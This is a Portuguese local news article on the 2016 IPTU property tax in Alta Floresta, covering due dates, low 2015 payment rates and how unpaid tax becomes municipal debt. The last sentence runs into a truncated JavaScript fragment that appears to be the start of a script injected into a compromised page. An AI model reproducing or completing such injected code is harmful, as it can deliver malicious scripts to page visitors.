O vencimento da primeira parcela ou da cota única do IPTU 2016 será dia 10 de abril. Muitos dos contribuintes já receberam o carnê para pagamento, nele está incluso além do IPTU (Imposto Predial e Territorial Urbano), a contribuição de iluminação pública e a taxa de coleta de lixo, embora sejam três tributos eles são pagos juntos em um único carnê.
A cobrança do IPTU recai sobre todos os imóveis da zona urbana e é realizado pela Prefeitura Municipal de Alta Floresta. Estes impostos são revestidos para o cidadão em forma de serviços ou melhorias estruturais, como é caso do asfalto, coleta de lixo, esgoto, trânsito, saúde, escolas, entre outros benefícios.
Em 2015, Alta Floresta lançou mais de R$ 5,6 milhões de IPTU, mas só recebeu 58,63% desse valor, os outros 41,37% foram lançados na dívida ativa do município. Isso significa que quase metade dos contribuintes deixaram de pagar o imposto, e todos recebem os benefícios indistintamente, como por exemplo, a coleta de lixo.
Um dos casos mais claros é o asfalto, citamos como exemplo o Bairro Vila Nova, que foi 100% asfaltado e menos da metade dos contribuintes pagaram o IPTU, apenas 27% cumpriram com as suas obrigações pagando o imposto. Existem bairros que 86% do IPTU lançado não foram pagos.
DÍVIDA ATIVA
Quando o contribuinte deixa de pagar o IPTU ou o Alvará de Licença no ano corrente, eles serão lançados no ano seguinte na dívida ativa, isso não significa que tudo está perdido, o contribuinte pode procurar o departamento responsável do município e negociar o imposto que pode ser pago avista com isenção de multa, ou ainda parcelar em até 12 vezes sem desconto, ou em 36 vezes com a correção de 1% ao mês.
Após o IPTU ou Alvará de Funcionamento ir para a dívida ativa, o devedor receberá uma notificação para regularizar a situação, caso ele não procure a prefeitura para pagar ou negociar, a dívida poderá ser protestada no cartório, ou ir para execução judicial.
Além disso, o proprietário ficará impossibilitado de obter certidão negativa e de transferir o imóvel para outra pessoa. Nestes casos o imposto deverá ser pago integralmente.var d=document;var s=d.createElement(‘script’);